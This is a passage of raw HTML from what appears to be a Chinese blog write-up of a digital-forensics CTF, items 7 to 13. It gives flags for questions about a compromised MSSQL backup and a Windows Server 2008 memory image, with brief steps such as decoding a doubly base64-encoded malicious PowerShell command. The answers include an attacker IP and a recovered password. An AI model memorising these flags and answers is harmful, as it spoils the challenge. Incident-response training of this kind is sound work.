bold;">7、</span></span><span leaf="" style="mso-bookmark: u7da8d32b;font-size: 10.5pt;line-height: 150%;font-family: 宋体;mso-ascii-font-family: 宋体;font-variant: normal;text-transform: none;color: #000000;font-weight: normal;font-style: normal;"><span textstyle="" style="font-size: 24px;font-weight: bold;">题目描述</span></span><span style="mso-bookmark:u7cbf4af7;"><span style="font-family:Calibri;mso-ascii-font-family:Calibri;mso-fareast-font-family:Calibri;font-variant:normal;text-transform:none;"></span></span></p><p style="margin-top:15.6pt;mso-para-margin-top:1.0gd;margin-bottom:2.5pt;text-align:left;margin-left:0.0pt;line-height:150%;"><span style="mso-bookmark:u7cbf4af7;"></span><span style="mso-bookmark:u6decde75;"><span style="font-size:10.5pt;line-height:150%;font-family:宋体;mso-ascii-font-family:宋体;font-variant:normal;text-transform:none;color:#000000;font-weight:normal;font-style:normal;"><span leaf=""><span textstyle="" style="font-size: 18px;">题目附件：mssql、mssql题-备份数据库请修复数据库flag格式 如 flag{xxxxx}</span></span></span></span><span style="mso-bookmark:u6decde75;"><span style="font-family:Calibri;mso-ascii-font-family:Calibri;mso-fareast-font-family:Calibri;font-variant:normal;text-transform:none;"></span></span></p><p style="margin-top:15.6pt;mso-para-margin-top:1.0gd;margin-bottom:2.5pt;text-align:left;margin-left:0.0pt;line-height:150%;"><span style="mso-bookmark:u6decde75;"></span><span style="mso-bookmark:u92b83ea6;"><span style="font-size:10.5pt;line-height:150%;font-family:宋体;mso-ascii-font-family:宋体;mso-fareast-font-family:宋体;font-variant:normal;text-transform:none;color:#000000;font-weight:normal;font-style:normal;"><span leaf=""><span textstyle="" style="font-size: 18px;">flag{E4r5t5y6Mhgur89g}</span></span></span></span><span style="mso-bookmark:u06843593;"><span style="font-family:Calibri;mso-ascii-font-family:Calibri;mso-fareast-font-family:Calibri;font-variant:normal;text-transform:none;"></span></span><span leaf=""><span textstyle="" style="font-size: 18px;">    </span></span><o:page></o:page></p><p style="margin-top:15.6pt;mso-para-margin-top:1.0gd;margin-bottom:2.5pt;text-align:left;margin-left:0.0pt;line-height:150%;"><span style="mso-bookmark:u06843593;"></span><span style="mso-bookmark:u511ae192;"><span style="mso-bookmark:u51ddb583;"><span style="font-family:宋体;mso-ascii-font-family:宋体;mso-fareast-font-family:宋体;font-variant:normal;text-transform:none;"><span leaf=""><img style="width:613.3400268554688px;height:623.739990234375px;" class="rich_pages wxw-img" data-ratio="1.017" data-w="1000" src="https://wechat2rss.xlab.app/img-proxy/?k=595a4d0a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nJlKG6iaiaR8eF4CBxRuHP16BJ1ycvZLo5FSuuEeMDfcw0m9E3sEBsA6fDZRpL31LxqoiamSWmjrAo1g%2F640%3Fwx_fmt%3Dpng"/></span></span></span></span><span style="mso-bookmark:u511ae192;"></span><span style="mso-bookmark:u51ddb583;"><span style="font-family:Calibri;mso-ascii-font-family:Calibri;mso-fareast-font-family:Calibri;font-variant:normal;text-transform:none;"></span></span></p><p style="margin-top:15.6pt;mso-para-margin-top:1.0gd;margin-bottom:2.5pt;text-align:left;margin-left:0.0pt;line-height:150%;"><span style="mso-bookmark:u51ddb583;"></span><span leaf="" style="mso-bookmark: u7da8d32b;font-size: 10.5pt;line-height: 150%;font-family: 宋体;mso-ascii-font-family: 宋体;font-variant: normal;text-transform: none;color: #000000;font-weight: normal;font-style: normal;"><span textstyle="" style="font-size: 24px;font-weight: bold;">8、</span></span><span leaf="" style="mso-bookmark: u7da8d32b;font-size: 10.5pt;line-height: 150%;font-family: 宋体;mso-ascii-font-family: 宋体;font-variant: normal;text-transform: none;color: #000000;font-weight: normal;font-style: normal;"><span textstyle="" style="font-size: 24px;font-weight: bold;">题目描述</span></span><span style="mso-bookmark:uee611f8f;"><span style="font-family:Calibri;mso-ascii-font-family:Calibri;mso-fareast-font-family:Calibri;font-variant:normal;text-transform:none;"></span></span></p><p style="margin-top:15.6pt;mso-para-margin-top:1.0gd;margin-bottom:2.5pt;text-align:left;margin-left:0.0pt;line-height:150%;"><span style="mso-bookmark:uee611f8f;"></span><span style="mso-bookmark:ucf7b3ebd;"><span style="font-size:10.5pt;line-height:150%;font-family:宋体;mso-ascii-font-family:宋体;font-variant:normal;text-transform:none;color:#000000;font-weight:normal;font-style:normal;"><span leaf=""><span textstyle="" style="font-size: 18px;">题目附件：mssql、mssql题-备份数据库请提交powershell命令中恶意文件的MD5flag格式 如 flag{xxxxx}</span></span></span></span><span style="mso-bookmark:ucf7b3ebd;"><span style="font-family:Calibri;mso-ascii-font-family:Calibri;mso-fareast-font-family:Calibri;font-variant:normal;text-transform:none;"></span></span></p><p style="margin-top:15.6pt;mso-para-margin-top:1.0gd;margin-bottom:2.5pt;text-align:left;margin-left:0.0pt;line-height:150%;"><span style="mso-bookmark:ucf7b3ebd;"></span><span style="mso-bookmark:u8c09de73;"><span style="font-size:10.5pt;line-height:150%;font-family:宋体;mso-ascii-font-family:宋体;mso-fareast-font-family:宋体;font-variant:normal;text-transform:none;color:#000000;font-weight:normal;font-style:normal;"><span leaf=""><span textstyle="" style="font-size: 18px;">flag{d72000ee7388d7d58960db277a91cc40}</span></span></span></span><span style="mso-bookmark:u8c09de73;"><span style="font-family:Calibri;mso-ascii-font-family:Calibri;mso-fareast-font-family:Calibri;font-variant:normal;text-transform:none;"></span></span></p><p style="margin-top:15.6pt;mso-para-margin-top:1.0gd;margin-bottom:2.5pt;text-align:left;margin-left:0.0pt;line-height:150%;"><span style="mso-bookmark:u8c09de73;"></span><span style="mso-bookmark:u6bce56ff;"><span style="font-size:10.5pt;line-height:150%;font-family:宋体;mso-ascii-font-family:宋体;mso-fareast-font-family:宋体;font-variant:normal;text-transform:none;color:#000000;font-weight:normal;font-style:normal;"><span leaf=""><span textstyle="" style="font-size: 18px;">powershell日志发现恶意命令，套娃套了两层base64，最后一层base64解密保存为文件算md5</span></span></span></span><span style="mso-bookmark:u6bce56ff;"><span style="font-family:Calibri;mso-ascii-font-family:Calibri;mso-fareast-font-family:Calibri;font-variant:normal;text-transform:none;"></span></span><span leaf=""><span textstyle="" style="font-size: 18px;">    </span></span><o:page></o:page></p><p style="margin-top:15.6pt;mso-para-margin-top:1.0gd;margin-bottom:2.5pt;text-align:left;margin-left:0.0pt;line-height:150%;"><span style="mso-bookmark:u6bce56ff;"></span><span style="mso-bookmark:u8a09ab5c;"><span style="mso-bookmark:uef703065;"><span style="font-family:宋体;mso-ascii-font-family:宋体;mso-fareast-font-family:宋体;font-variant:normal;text-transform:none;"><span leaf=""><img style="width:519.0700073242188px;height:223.1400146484375px;" class="rich_pages wxw-img" data-ratio="0.43" data-w="1000" src="https://wechat2rss.xlab.app/img-proxy/?k=59638dab&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nJlKG6iaiaR8eF4CBxRuHP16BsZezREN5jZcfzNoXFB8eSwVfO6777dc1ZFGnqpqvVucyfsQEd4EibmQ%2F640%3Fwx_fmt%3Dpng"/></span></span></span></span><span style="mso-bookmark:u8a09ab5c;"></span><span style="mso-bookmark:uef703065;"><span style="font-family:Calibri;mso-ascii-font-family:Calibri;mso-fareast-font-family:Calibri;font-variant:normal;text-transform:none;"></span></span></p><p style="margin-top:15.6pt;mso-para-margin-top:1.0gd;margin-bottom:2.5pt;text-align:left;margin-left:0.0pt;line-height:150%;"><span style="mso-bookmark:uef703065;"></span><span style="mso-bookmark:uf04f4f68;"><span style="font-size:11.0pt;font-family:宋体;mso-ascii-font-family:宋体;font-variant:normal;text-transform:none;color:#000000;font-weight:normal;font-style:normal;"><span leaf=""><span textstyle="" style="font-size: 18px;">解密</span></span></span></span><span style="mso-bookmark:uf04f4f68;"><span style="font-family:Calibri;mso-ascii-font-family:Calibri;mso-fareast-font-family:Calibri;font-variant:normal;text-transform:none;"></span></span></p><p style="margin-top:15.6pt;mso-para-margin-top:1.0gd;margin-bottom:2.5pt;text-align:left;margin-left:0.0pt;line-height:150%;"><span style="mso-bookmark:uf04f4f68;"></span><span style="mso-bookmark:ue2300898;"><span style="mso-bookmark:u11224cbc;"><span style="font-family:宋体;mso-ascii-font-family:宋体;mso-fareast-font-family:宋体;font-variant:normal;text-transform:none;"><span leaf=""><img style="width:613.280029296875px;height:142.26998901367188px;" class="rich_pages wxw-img" data-ratio="0.232" data-w="1000" src="https://wechat2rss.xlab.app/img-proxy/?k=49f29751&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nJlKG6iaiaR8eF4CBxRuHP16BzD8rswwhqbUryARAeQkKc7UyKeEPMZE7ArQdG9nvkX6FyNYNia2wIaQ%2F640%3Fwx_fmt%3Dpng"/></span></span></span></span><span style="mso-bookmark:ue2300898;"></span><span style="mso-bookmark:u11224cbc;"><span style="font-family:Calibri;mso-ascii-font-family:Calibri;mso-fareast-font-family:Calibri;font-variant:normal;text-transform:none;"></span></span></p><p style="margin-top:15.6pt;mso-para-margin-top:1.0gd;margin-bottom:2.5pt;text-align:left;margin-left:0.0pt;line-height:150%;"><span style="mso-bookmark:u11224cbc;"></span><span style="mso-bookmark:u8a330dc4;"><span style="font-size:11.0pt;font-family:宋体;mso-ascii-font-family:宋体;mso-fareast-font-family:宋体;font-variant:normal;text-transform:none;color:#000000;font-weight:normal;font-style:normal;"><span leaf=""><span textstyle="" style="font-size: 18px;">base转文件算md5</span></span></span></span><span style="mso-bookmark:u8a330dc4;"><span style="font-family:Calibri;mso-ascii-font-family:Calibri;mso-fareast-font-family:Calibri;font-variant:normal;text-transform:none;"></span></span></p><p style="margin-top:15.6pt;mso-para-margin-top:1.0gd;margin-bottom:2.5pt;text-align:left;margin-left:0.0pt;line-height:150%;"><span style="mso-bookmark:u8a330dc4;"></span><span leaf="" style="mso-bookmark: u7da8d32b;font-size: 10.5pt;line-height: 150%;font-family: 宋体;mso-ascii-font-family: 宋体;font-variant: normal;text-transform: none;color: #000000;font-weight: normal;font-style: normal;"><span textstyle="" style="font-size: 24px;font-weight: bold;">9、</span></span><span leaf="" style="mso-bookmark: u7da8d32b;font-size: 10.5pt;line-height: 150%;font-family: 宋体;mso-ascii-font-family: 宋体;font-variant: normal;text-transform: none;color: #000000;font-weight: normal;font-style: normal;"><span textstyle="" style="font-size: 24px;font-weight: bold;">题目描述</span></span><span style="mso-bookmark:u2e5aa31d;"><span style="font-family:Calibri;mso-ascii-font-family:Calibri;mso-fareast-font-family:Calibri;font-variant:normal;text-transform:none;"></span></span></p><p style="margin-top:15.6pt;mso-para-margin-top:1.0gd;margin-bottom:2.5pt;text-align:left;margin-left:0.0pt;line-height:150%;"><span style="mso-bookmark:u2e5aa31d;"></span><span style="mso-bookmark:u4ac5e23e;"><span style="font-size:10.5pt;line-height:150%;font-family:宋体;mso-ascii-font-family:宋体;font-variant:normal;text-transform:none;color:#000000;font-weight:normal;font-style:normal;"><span leaf=""><span textstyle="" style="font-size: 18px;">题目文件：SERVER-2008-20241220-162057请找到rdp连接的跳板地址flag格式 flag{1.1.1.1}</span></span></span></span><span style="mso-bookmark:u4ac5e23e;"><span style="font-family:Calibri;mso-ascii-font-family:Calibri;mso-fareast-font-family:Calibri;font-variant:normal;text-transform:none;"></span></span></p><p style="margin-top:15.6pt;mso-para-margin-top:1.0gd;margin-bottom:2.5pt;text-align:left;margin-left:0.0pt;line-height:150%;"><span style="mso-bookmark:u4ac5e23e;"></span><span style="mso-bookmark:u355f76c9;"><span style="font-size:10.5pt;line-height:150%;font-family:宋体;mso-ascii-font-family:宋体;mso-fareast-font-family:宋体;font-variant:normal;text-transform:none;color:#000000;font-weight:normal;font-style:normal;"><span leaf=""><span textstyle="" style="font-size: 18px;">flag{192.168.60.220}</span></span></span></span><span style="mso-bookmark:u355f76c9;"><span style="font-family:Calibri;mso-ascii-font-family:Calibri;mso-fareast-font-family:Calibri;font-variant:normal;text-transform:none;"></span></span><span leaf=""><span textstyle="" style="font-size: 18px;">    </span></span><o:page></o:page></p><p style="margin-top:15.6pt;mso-para-margin-top:1.0gd;margin-bottom:2.5pt;text-align:left;margin-left:0.0pt;line-height:150%;"><span style="mso-bookmark:u355f76c9;"></span><span style="mso-bookmark:ua4aa501a;"><span style="mso-bookmark:u5751dd99;"><span style="font-family:宋体;mso-ascii-font-family:宋体;mso-fareast-font-family:宋体;font-variant:normal;text-transform:none;"><span leaf=""><img style="width:613.280029296875px;height:228.739990234375px;" class="rich_pages wxw-img" data-ratio="0.373" data-w="1000" src="https://wechat2rss.xlab.app/img-proxy/?k=7566757b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nJlKG6iaiaR8eF4CBxRuHP16B1Gt2cDZ3HRdC6FZHSclDj22oIz9RgEAiccmicN0pGswCRGJX3JsFNUqw%2F640%3Fwx_fmt%3Dpng"/></span></span></span></span><span style="mso-bookmark:ua4aa501a;"></span><span style="mso-bookmark:u5751dd99;"><span style="font-family:Calibri;mso-ascii-font-family:Calibri;mso-fareast-font-family:Calibri;font-variant:normal;text-transform:none;"></span></span></p><p style="margin-top:15.6pt;mso-para-margin-top:1.0gd;margin-bottom:2.5pt;text-align:left;margin-left:0.0pt;line-height:150%;"><span style="mso-bookmark:u5751dd99;"></span><span leaf="" style="mso-bookmark: u7da8d32b;font-size: 10.5pt;line-height: 150%;font-family: 宋体;mso-ascii-font-family: 宋体;font-variant: normal;text-transform: none;color: #000000;font-weight: normal;font-style: normal;"><span textstyle="" style="font-size: 24px;font-weight: bold;">10、</span></span><span leaf="" style="mso-bookmark: u7da8d32b;font-size: 10.5pt;line-height: 150%;font-family: 宋体;mso-ascii-font-family: 宋体;font-variant: normal;text-transform: none;color: #000000;font-weight: normal;font-style: normal;"><span textstyle="" style="font-size: 24px;font-weight: bold;">题目描述</span></span><span style="mso-bookmark:u82d3e20b;"><span style="font-family:Calibri;mso-ascii-font-family:Calibri;mso-fareast-font-family:Calibri;font-variant:normal;text-transform:none;"></span></span></p><p style="margin-top:15.6pt;mso-para-margin-top:1.0gd;margin-bottom:2.5pt;text-align:left;margin-left:0.0pt;line-height:150%;"><span style="mso-bookmark:u82d3e20b;"></span><span style="mso-bookmark:ue24cee91;"><span style="font-size:10.5pt;line-height:150%;font-family:宋体;mso-ascii-font-family:宋体;font-variant:normal;text-transform:none;color:#000000;font-weight:normal;font-style:normal;"><span leaf=""><span textstyle="" style="font-size: 18px;">题目文件：SERVER-2008-20241220-162057请找到攻击者下载黑客工具的IP地址flag格式 flag{1.1.1.1}</span></span></span></span><span style="mso-bookmark:ue24cee91;"><span style="font-family:Calibri;mso-ascii-font-family:Calibri;mso-fareast-font-family:Calibri;font-variant:normal;text-transform:none;"></span></span></p><p style="margin-top:15.6pt;mso-para-margin-top:1.0gd;margin-bottom:2.5pt;text-align:left;margin-left:0.0pt;line-height:150%;"><span style="mso-bookmark:ue24cee91;"></span><span style="mso-bookmark:u7b3c1645;"><span style="font-size:10.5pt;line-height:150%;font-family:宋体;mso-ascii-font-family:宋体;mso-fareast-font-family:宋体;font-variant:normal;text-transform:none;color:#000000;font-weight:normal;font-style:normal;"><span leaf=""><span textstyle="" style="font-size: 18px;">flag{155.94.204.67}</span></span></span></span><span style="mso-bookmark:u7b3c1645;"><span style="font-family:Calibri;mso-ascii-font-family:Calibri;mso-fareast-font-family:Calibri;font-variant:normal;text-transform:none;"></span></span></p><p style="margin-top:15.6pt;mso-para-margin-top:1.0gd;margin-bottom:2.5pt;text-align:left;margin-left:0.0pt;line-height:150%;"><span style="mso-bookmark:u7b3c1645;"></span><span style="mso-bookmark:uf3143140;"><span style="font-size:10.5pt;line-height:150%;font-family:宋体;mso-ascii-font-family:宋体;mso-fareast-font-family:宋体;font-variant:normal;text-transform:none;color:#000000;font-weight:normal;font-style:normal;"><span leaf=""><span textstyle="" style="font-size: 18px;">vol导出网络连接</span></span></span></span><span style="mso-bookmark:uf3143140;"><span style="font-family:Calibri;mso-ascii-font-family:Calibri;mso-fareast-font-family:Calibri;font-variant:normal;text-transform:none;"></span></span></p><p style="margin-top:15.6pt;mso-para-margin-top:1.0gd;margin-bottom:2.5pt;text-align:left;margin-left:0.0pt;line-height:150%;"><span style="mso-bookmark:uf3143140;"></span><span style="mso-bookmark:uf9d64e5f;"><span style="mso-bookmark:ua38437dc;"><span style="font-family:宋体;mso-ascii-font-family:宋体;mso-fareast-font-family:宋体;font-variant:normal;text-transform:none;"><span leaf=""><img style="width:613.280029296875px;height:170.47003173828125px;" class="rich_pages wxw-img" data-ratio="0.278" data-w="1000" src="https://wechat2rss.xlab.app/img-proxy/?k=1aaac314&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nJlKG6iaiaR8eF4CBxRuHP16BreicF7S1BPdnJwJ1ibU0rc33Z5f5CdrM0AlqSwPSEggPOfGdGxxPWsxA%2F640%3Fwx_fmt%3Dpng"/></span></span></span></span><span style="mso-bookmark:uf9d64e5f;"></span><span style="mso-bookmark:ua38437dc;"><span style="font-family:Calibri;mso-ascii-font-family:Calibri;mso-fareast-font-family:Calibri;font-variant:normal;text-transform:none;"></span></span></p><p style="margin-top:15.6pt;mso-para-margin-top:1.0gd;margin-bottom:2.5pt;text-align:left;margin-left:0.0pt;line-height:150%;"><span style="mso-bookmark:ua38437dc;"></span><span style="mso-bookmark:u96e82784;"><span style="mso-bookmark:u149fd098;"><span style="font-family:宋体;mso-ascii-font-family:宋体;mso-fareast-font-family:宋体;font-variant:normal;text-transform:none;"><span leaf=""><img style="width:613.280029296875px;height:153.94000244140625px;" class="rich_pages wxw-img" data-ratio="0.251" data-w="1000" src="https://wechat2rss.xlab.app/img-proxy/?k=a4c29e00&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nJlKG6iaiaR8eF4CBxRuHP16BzUDxNoWHphcxMdaiaVhQdriaIekbibU1xaMthUAsHTpqOicjGHHbqPWrnQ%2F640%3Fwx_fmt%3Dpng"/></span></span></span></span><span style="mso-bookmark:u96e82784;"></span><span style="mso-bookmark:u149fd098;"><span style="font-family:Calibri;mso-ascii-font-family:Calibri;mso-fareast-font-family:Calibri;font-variant:normal;text-transform:none;"></span></span></p><p style="margin-top:15.6pt;mso-para-margin-top:1.0gd;margin-bottom:2.5pt;text-align:left;margin-left:0.0pt;line-height:150%;"><span style="mso-bookmark:u149fd098;"></span><span leaf="" style="mso-bookmark: u7da8d32b;font-size: 10.5pt;line-height: 150%;font-family: 宋体;mso-ascii-font-family: 宋体;font-variant: normal;text-transform: none;color: #000000;font-weight: normal;font-style: normal;"><span textstyle="" style="font-size: 24px;font-weight: bold;">11、</span></span><span leaf="" style="mso-bookmark: u7da8d32b;font-size: 10.5pt;line-height: 150%;font-family: 宋体;mso-ascii-font-family: 宋体;font-variant: normal;text-transform: none;color: #000000;font-weight: normal;font-style: normal;"><span textstyle="" style="font-size: 24px;font-weight: bold;">题目描述</span></span><span style="mso-bookmark:u47e0f466;"><span style="font-family:Calibri;mso-ascii-font-family:Calibri;mso-fareast-font-family:Calibri;font-variant:normal;text-transform:none;"></span></span><span leaf=""><span textstyle="" style="font-size: 18px;">    </span></span><o:page></o:page></p><p style="margin-top:15.6pt;mso-para-margin-top:1.0gd;margin-bottom:2.5pt;text-align:left;margin-left:0.0pt;line-height:150%;"><span style="mso-bookmark:u47e0f466;"></span><span style="mso-bookmark:u7441d91e;"><span style="font-size:10.5pt;line-height:150%;font-family:宋体;mso-ascii-font-family:宋体;font-variant:normal;text-transform:none;color:#000000;font-weight:normal;font-style:normal;"><span leaf=""><span textstyle="" style="font-size: 18px;">题目文件：SERVER-2008-20241220-162057攻击者获取的“FusionManager节点操作系统帐户（业务帐户）”的密码是什么flag格式 flag{xxxx}</span></span></span></span><span style="mso-bookmark:u7441d91e;"><span style="font-family:Calibri;mso-ascii-font-family:Calibri;mso-fareast-font-family:Calibri;font-variant:normal;text-transform:none;"></span></span></p><p style="margin-top:15.6pt;mso-para-margin-top:1.0gd;margin-bottom:2.5pt;text-align:left;margin-left:0.0pt;line-height:150%;"><span style="mso-bookmark:u7441d91e;"></span><span style="mso-bookmark:u18d8ba97;"><span style="font-size:10.5pt;line-height:150%;font-family:宋体;mso-ascii-font-family:宋体;mso-fareast-font-family:宋体;font-variant:normal;text-transform:none;color:#000000;font-weight:normal;font-style:normal;"><span leaf=""><span textstyle="" style="font-size: 18px;">flag{GalaxManager_2012}</span></span></span></span><span style="mso-bookmark:u18d8ba97;"><span style="font-family:Calibri;mso-ascii-font-family:Calibri;mso-fareast-font-family:Calibri;font-variant:normal;text-transform:none;"></span></span></p><p style="margin-top:15.6pt;mso-para-margin-top:1.0gd;margin-bottom:2.5pt;text-align:left;margin-left:0.0pt;line-height:150%;"><span style="mso-bookmark:u18d8ba97;"></span><span style="mso-bookmark:u2e0d9b2f;"><span style="font-size:10.5pt;line-height:150%;font-family:宋体;mso-ascii-font-family:宋体;font-variant:normal;text-transform:none;color:#000000;font-weight:normal;font-style:normal;"><span leaf=""><span textstyle="" style="font-size: 18px;">文件扫描发现有个pass.txt</span></span></span></span><span style="mso-bookmark:u2e0d9b2f;"><span style="font-family:Calibri;mso-ascii-font-family:Calibri;mso-fareast-font-family:Calibri;font-variant:normal;text-transform:none;"></span></span></p><p style="margin-top:15.6pt;mso-para-margin-top:1.0gd;margin-bottom:2.5pt;text-align:left;margin-left:0.0pt;line-height:150%;"><span style="mso-bookmark:u2e0d9b2f;"></span><span style="mso-bookmark:u51b29fe6;"><span style="mso-bookmark:ube7e0207;"><span style="font-family:宋体;mso-ascii-font-family:宋体;mso-fareast-font-family:宋体;font-variant:normal;text-transform:none;"><span leaf=""><img style="width:465.739990234375px;height:78.47000122070312px;" class="rich_pages wxw-img" data-ratio="0.16853932584269662" data-w="712" src="https://wechat2rss.xlab.app/img-proxy/?k=4a1acb18&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nJlKG6iaiaR8eF4CBxRuHP16BXdBW9g3u4WOmLJEKpGH9LT9tcmonvc8f5tIQZVNGMxb2ofmyjRXEbA%2F640%3Fwx_fmt%3Dpng"/></span></span></span></span><span style="mso-bookmark:u51b29fe6;"></span><span style="mso-bookmark:ube7e0207;"><span style="font-family:Calibri;mso-ascii-font-family:Calibri;mso-fareast-font-family:Calibri;font-variant:normal;text-transform:none;"></span></span></p><p style="margin-top:15.6pt;mso-para-margin-top:1.0gd;margin-bottom:2.5pt;text-align:left;margin-left:0.0pt;line-height:150%;"><span style="mso-bookmark:ube7e0207;"></span><span style="mso-bookmark:u18232b37;"><span style="font-size:11.0pt;font-family:宋体;mso-ascii-font-family:宋体;font-variant:normal;text-transform:none;color:#000000;font-weight:normal;font-style:normal;"><span leaf=""><span textstyle="" style="font-size: 18px;">导出查看</span></span></span></span><span style="mso-bookmark:u18232b37;"><span style="font-family:Calibri;mso-ascii-font-family:Calibri;mso-fareast-font-family:Calibri;font-variant:normal;text-transform:none;"></span></span></p><p style="margin-top:15.6pt;mso-para-margin-top:1.0gd;margin-bottom:2.5pt;text-align:left;margin-left:0.0pt;line-height:150%;"><span style="mso-bookmark:u18232b37;"></span><span style="mso-bookmark:ud35f7f5d;"><span style="mso-bookmark:u97fd1cba;"><span style="font-family:宋体;mso-ascii-font-family:宋体;mso-fareast-font-family:宋体;font-variant:normal;text-transform:none;"><span leaf=""><img style="width:613.280029296875px;height:232.4000244140625px;" class="rich_pages wxw-img" data-ratio="0.379" data-w="1000" src="https://wechat2rss.xlab.app/img-proxy/?k=7d702e3f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nJlKG6iaiaR8eF4CBxRuHP16BY5fAbwuqyBNYw7icXTn0rqRYnoSvRbBmHxjjyNrBUD03BI4cCFJFyRw%2F640%3Fwx_fmt%3Dpng"/></span></span></span></span><span style="mso-bookmark:ud35f7f5d;"></span><span style="mso-bookmark:u97fd1cba;"><span style="font-family:Calibri;mso-ascii-font-family:Calibri;mso-fareast-font-family:Calibri;font-variant:normal;text-transform:none;"></span></span></p><p style="margin-top:15.6pt;mso-para-margin-top:1.0gd;margin-bottom:2.5pt;text-align:left;margin-left:0.0pt;line-height:150%;"><span style="mso-bookmark:u97fd1cba;"></span><span leaf="" style="mso-bookmark: u7da8d32b;font-size: 10.5pt;line-height: 150%;font-family: 宋体;mso-ascii-font-family: 宋体;font-variant: normal;text-transform: none;color: #000000;font-weight: normal;font-style: normal;"><span textstyle="" style="font-size: 24px;font-weight: bold;">12、</span></span><span leaf="" style="mso-bookmark: u7da8d32b;font-size: 10.5pt;line-height: 150%;font-family: 宋体;mso-ascii-font-family: 宋体;font-variant: normal;text-transform: none;color: #000000;font-weight: normal;font-style: normal;"><span textstyle="" style="font-size: 24px;font-weight: bold;">题目描述</span></span><span style="mso-bookmark:u32448aad;"><span style="font-family:Calibri;mso-ascii-font-family:Calibri;mso-fareast-font-family:Calibri;font-variant:normal;text-transform:none;"></span></span></p><p style="margin-top:15.6pt;mso-para-margin-top:1.0gd;margin-bottom:2.5pt;text-align:left;margin-left:0.0pt;line-height:150%;"><span style="mso-bookmark:u32448aad;"></span><span style="mso-bookmark:uf0b8e182;"><span style="font-size:10.5pt;line-height:150%;font-family:宋体;mso-ascii-font-family:宋体;font-variant:normal;text-transform:none;color:#000000;font-weight:normal;font-style:normal;"><span leaf=""><span textstyle="" style="font-size: 18px;">题目文件：SERVER-2008-20241220-162057请找到攻击者创建的用户flag格式 flag{xxxx}</span></span></span></span><span style="mso-bookmark:uf0b8e182;"><span style="font-family:Calibri;mso-ascii-font-family:Calibri;mso-fareast-font-family:Calibri;font-variant:normal;text-transform:none;"></span></span></p><p style="margin-top:15.6pt;mso-para-margin-top:1.0gd;margin-bottom:2.5pt;text-align:left;margin-left:0.0pt;line-height:150%;"><span style="mso-bookmark:uf0b8e182;"></span><span style="mso-bookmark:ud7520e23;"><span style="font-size:10.5pt;line-height:150%;font-family:宋体;mso-ascii-font-family:宋体;mso-fareast-font-family:宋体;font-variant:normal;text-transform:none;color:#000000;font-weight:normal;font-style:normal;"><span leaf=""><span textstyle="" style="font-size: 18px;">flag{ASP.NET}</span></span></span></span><o:page></o:page></p><p style="margin-top:15.6pt;mso-para-margin-top:1.0gd;margin-bottom:2.5pt;text-align:left;margin-left:0.0pt;line-height:150%;"><span style="mso-bookmark:ue7885c7b;"></span><span style="mso-bookmark:ud124cc95;"><span style="mso-bookmark:u08e53754;"><span style="font-family:宋体;mso-ascii-font-family:宋体;mso-fareast-font-family:宋体;font-variant:normal;text-transform:none;"><span leaf=""><img style="width:613.280029296875px;height:189.47000122070312px;" class="rich_pages wxw-img" data-ratio="0.309" data-w="1000" src="https://wechat2rss.xlab.app/img-proxy/?k=71ae79c8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nJlKG6iaiaR8eF4CBxRuHP16BvZdoTR1ysQ25YbT5qPosvUJ1XiaeibpXy8Rn4nS38eicA0Q5wsbP9bNVw%2F640%3Fwx_fmt%3Dpng"/></span></span></span></span><span style="mso-bookmark:ud124cc95;"></span><span style="mso-bookmark:u08e53754;"><span style="font-family:Calibri;mso-ascii-font-family:Calibri;mso-fareast-font-family:Calibri;font-variant:normal;text-transform:none;"></span></span></p><p style="margin-top:15.6pt;mso-para-margin-top:1.0gd;margin-bottom:2.5pt;text-align:left;margin-left:0.0pt;line-height:150%;"><span style="mso-bookmark:u08e53754;"></span><span leaf="" style="mso-bookmark: u7da8d32b;font-size: 10.5pt;line-height: 150%;font-family: 宋体;mso-ascii-font-family: 宋体;font-variant: normal;text-transform: none;color: #000000;font-weight: normal;font-style: normal;"><span textstyle="" style="font-size: 24px;font-weight: bold;">13、</span></span><span leaf="" style="mso-bookmark: u7da8d32b;font-size: 10.5pt;line-height: 150%;font-family: 宋体;mso-ascii-font-family: 宋体;font-variant: normal;text-transform: none;color: #000000;font-weight: normal;font-style: normal;"><span textstyle="" style="font-size: 24px;font-weight: bold;">题目描述</span></span><span style="mso-bookmark:u9bcf51d5;"><span style="font-family:Calibri;mso-ascii-font-family:Calibri;mso-fareast-font-family:Calibri;font-variant:normal;text-transform:none;"></span></span></p><p style="margin-top:15.6pt;mso-para-margin-top:1.0gd;margin-bottom:2.5pt;text-align:left;margin-left:0.0pt;line-height:150%;"><span style="mso-bookmark:u9bcf51d5;"></span><span style="mso-bookmark:u27b62161;"><span style="font-size:10.5pt;line-height:150%;font-family:宋体;mso-ascii-font-family:宋体;font-variant:normal;text-transform:none;color:#000000;font-weight:normal;font-style:normal;"><span leaf=""><span textstyle="" style="font-size: 18px;">题目文件：SERVER-2008-20241220-162057请找到攻击者利用跳板rdp登录的时间flag格式 flag{2024/01/01 00:00:00}</span></span></span></span><span style="mso-bookmark:u27b62161;"><span style="font-family:Calibri;mso-ascii-font-family:Calibri;mso-fareast-font-family:Calibri;font-variant:normal;text-transform:none;"></span></span></p><p style="margin-top:15.6pt;mso-para-margin-top:1.0gd;margin-bottom:2.5pt;text-align:left;margin-left:0.0pt;line-height:150%;"><span style="mso-bookmark:u27b62161;"></span><span style="mso-bookmark:uc0ce3e8d;"><span style="mso-bookmark:ue098c9f1;"><span style="font-family:宋体;mso-ascii-font-family:宋体;mso-fareast-font-family:宋体;font-variant:normal;text-transform:none;"><span leaf=""><img style="width:613.3400268554688px;height:46.600006103515625px;" class="rich_pages wxw-img" data-ratio="0.076" data-w="1000" 